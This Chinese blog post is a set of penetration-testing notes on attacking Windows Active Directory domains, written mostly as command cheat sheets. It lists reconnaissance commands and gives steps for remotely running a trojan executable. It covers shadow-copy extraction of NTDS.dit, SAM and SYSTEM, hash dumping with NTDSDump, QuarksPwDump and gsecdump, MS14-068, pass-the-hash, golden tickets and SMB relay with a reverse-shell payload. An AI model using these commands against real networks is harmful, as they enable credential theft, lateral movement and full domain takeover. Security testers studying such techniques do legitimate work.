windows域安全(持续更新)

TL;DR

  • 域安全的知识太多了,整理起来估计都够写一本书了。这边简单整理一些自己笔记的内容。

  • 域(Domain)是相对工作组(Workgroup)的概念,形象的说,域就像中央集权,由一台或数台域控制器(Domain Controller)管理域内的其他计算机;工作组就像各自为政,组内每一台计算机自己管理自己,他人无法干涉。
  • 域是一个计算机群体的组合,是一个相对严格的组织,而域控制器则是这个域内的管理核心。
  • 一般情况下,域控制器集成了DNS服务,可以解析域内的计算机名称(基于TCP/IP),解决了工作组环境不同网段计算机不能使用计算机名互访的问题。
  • Active Directory = LDAP服务器+LDAP应用(Windows域控)
    就是Active Directory先实现一个LDAP服务器,然后自己先用这个LDAP服务器实现了自己的一个具体应用(域控)。

    内网信息搜集以及常见域命令

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    ipconfig /all 查询本机IP段,所在域等
    net config Workstation 当前计算机名,全名,用户名,系统版本,工作站域,登陆域
    net user 本机用户列表
    net localhroup administrators 本机管理员[通常含有域用户]
    net user /domain 查询域用户
    net user 用户名 /domain 获取指定用户的账户信息
    net group /domain 查询域里面的工作组
    net group 组名 /domain 查询域中的某工作组
    net group "domain admins" /domain 查询域管理员列表
    net group "enterprise admins" /domain 获得企业管理员列表
    net group 组名 /del /domain 删除域中的某组
    net group 组名 组成员名 /del /domain 删除域中的某组的组成员
    net localgroup administrators /domain 登录本机的域管理员
    net group 组名 /add 增加域中的组
    net localgroup administrators workgroup\user001 /add 域用户添加到本机
    net group "domain controllers" /domain 查看域控制器(如果有多台)
    net time /domain 判断主域,主域服务器都做时间服务器
    net session 查看当前会话
    net use \\ip\ipc$ pawword /user:username@domain 建立IPC会话[空连接-***]
    net view \\ip 查询某IP共享
    net use z: \\192.168.200.21\文件夹名 建立映射到本机Z盘
    net share 查看SMB指向的路径[即共享]
    at \\192.168.200.2 0:00 c:\windows\muma.exe 在共享主机上执行
    net view 查询同一域内机器列表
    net view /domain 查询域列表
    net view /domain:M0RK 查看test域中计算机列表
    net view \\域控的机器名 查看域控共享情况
    nltest /domain_trusts 获取域信任信息
    net session 查看当前会话
    net start 查看当前运行的服务
    net time /domain 查询主域服务器的时间
    echo %logonserver% 查看登陆到这台服务器的计算机
    net accounts 查看本地密码策略
    net accounts /domain 查看域密码策略
    query user 查看当前的登录信息
    netstat -ano 查看开放的端口
    netstat -an | find "3389" 查看3389开放情况
    nbtstat –A ip netbios 查询
    netstat –an/ano/anb 网络连接查询
    netsh firewall show config 查看防火墙策略
    netsh firewall show state 查看防火墙策略
    route print 路由表
    tracert IP 路由跟踪
    arp -a 列出本网段内所有活跃的IP地址
    arp -s (ip + mac) 绑定mac和IP
    arp -d (iP + mac) 解绑IP和Mac
    tasklist /V 查看进程[显示对应用户]
    tasklist /S ip /U domain\username /P /V 查看远程计算机进程列表
    psexec \\192.168.200.21 -u administrator -p b404pass -c gsecdump.exe -u 从域服务器密码存储文件windows/ntds/ntds.dit导出hash值出来
    gsecdump -a 获取域登管理员登录过得hash值,这里gescdump为第三方导出AD域的hash值
    tasklist /S IP地址 /U 域名\用户名 /P /V 查看远程计算机进程
    tasklist /svc 查看进程
    taskkill /im 进程名称(cmd.exe) 结束进程
    taskkill /pid[进程码] -t(结束该进程) -f(强制结束该进程以及所有子进程)
    qprocess * 类似tasklist
    qprocess /SERVER:IP 远程查看计算机进程列表
    whoami /all 查询当前用户权限等
    set 查看系统环境变量
    systeminfo 查看系统信息
    qwinsta 查看登录情况
    qwinsta /SERVER:IP 查看远程登录情况
    fsutil fsinfo drives 查看所有盘符
    gpupdate /force 更新域策略
    wmic bios 查看bios信息
    wmic qfe 查看补丁信息
    wmic qfe get hotfixid 查看补丁-Patch号,很实用
    wmic qfe list full /format:htable > hotfixes.htm 详细的补丁安装
    wmic share get name,path 查看SMB指向路径
    wmic startup 查看启动项
    wmic service 查看服务
    wmic os 查看OS信息
    wmic service list brief 查看进程服务
    wmic process list brief 查看进程
    wmic startup list brief 启动程序信息
    wmic product list brief 查看安装程序和版本信息(漏洞利用线索)
    wmic startup list full 识别开机启动的程序
    klist 显示 Kerberos 凭证高速缓存或密钥表的内容
    nbtstat -A ip 根据内网ip查看机器名
  • 查找域控
    1.一般是DNS 服务器,开放了389端口的基本就是域控服务器了
    2.使用nslookup命令 _ldap._tcp.dc._msdcs.domainname
    3.nltest /dclist:domainname

    4.cobaltstrike的net dclist直接定位到dc
    或者使用powershell的powerview 获取域当前的信息
    5.adfind、ldifde、adexplorer等工具

  • 常见脚本
    https://pentestlab.blog/2018/05/28/situational-awareness/

    搞定域控

    1.ms14-068 将普通域用户权限提升为域控权限
    https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068

    trick1 PTH

    trick2 golden ticket

    trick3 dump hash

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    vssadmin Create Shadow /for=C: 创建新的卷影副本
    成功地创建了 'C:\' 的卷影副本
    卷影副本 ID: {ad7dfdec-a8db-4fa3-b2e6-7e1ab1bad2b4}
    卷影副本卷名: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3
    执行程序:
    \\.\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\test\psexec.exe
    1.需要先创建好目录,并放入木马或程序
    2.再创建新的卷影副本,利用卷影副本卷名来执行程序,并把卷影副本卷名中的 "?" 需要改为 "."号执行程序
    Copy Files
    有些系统运行中的文件是不可复制的,比如像SAM
    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit C:\
    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SAM C:\
    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SYSTEM C:\
    PowerShell调用方法:
    Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -ComputerName SERVER -localDestination "C:\temp\SYSTEM"
    Invoke-NinjaCopy -Path "C:\Windows\NTDS\NTDS.dit" -ComputerName SERVER -localDestination "C:\temp\NTDS.dit"
    需要文件:
    https://github.com/clymb3r/PowerShell/tree/master/Invoke-NinjaCopy
    vssadmin Delete Shadows /shadow={ce51aaf6-5677-4423-86ac-45d064ef626e} /quiet 删除卷影副本
    vssadmin Delete Shadows /For=C:
    ---
    reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters 查询NTDS路径
    获取域数据库
    Windows\NTDS\ntds.dit
    Windows\System32\config\SYSTEM
    Windows\System32\config\SAM
    NTDSDump导出域数据库hash值:
    NTDSDump.exe -f ntds.dit -s SYSTEM -h -t john -o save.txt
    或者:
    QuarksPwDump.exe
    QuarksPwDump --dump-hash-domain --with-history 导出本机域控历史hash值

更多

域内信息搜集

windows中的Credential Manager的信息获取

  • Credential Manager,中文翻译为凭据管理器,用来存储凭据(例如网站登录和主机远程连接的用户名密码)。
  • 如果用户选择存储凭据,那么当用户再次使用对应的操作,系统会自动填入凭据,实现自动登录
  • 凭据类别包含两种,分别为Domain Credentials和Generic Credentials。
  • 凭据读取 mimikatz和powershell脚本

    更多可参考Windows中Credential Manager的信息获取

    SMB

    SMB共享枚举

  • SMBMap

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    root@kali:/# smbmap -H [ip] -d [domain] -u [user] -p [password]
    [+] Finding open SMB ports....
    [+] User SMB session establishd on [ip]...
    [+] IP: [ip]:445 Name: [ip]
    Disk Permissions
    ---- -----------
    ADMIN$ NO ACCESS
    C$ NO ACCESS
    IPC$ NO ACCESS
    NETLOGON READ ONLY
    Replication READ ONLY
    SYSVOL READ ONLY
  • 使用nmap

    1
    nmap --script smb-enum-shares -p 139,445 [ip]

查看SMB的漏洞

1
nmap --script smb-vuln* -p 139,445 [ip]

trick4 smbrelay

python smbrelayx.py -h 172.24.243.59(被攻击的机器) -e smb_rev.exe

https://github.com/CoreSecurity/impacket/blob/master/examples/smbrelayx.py
再谈SMB中继攻击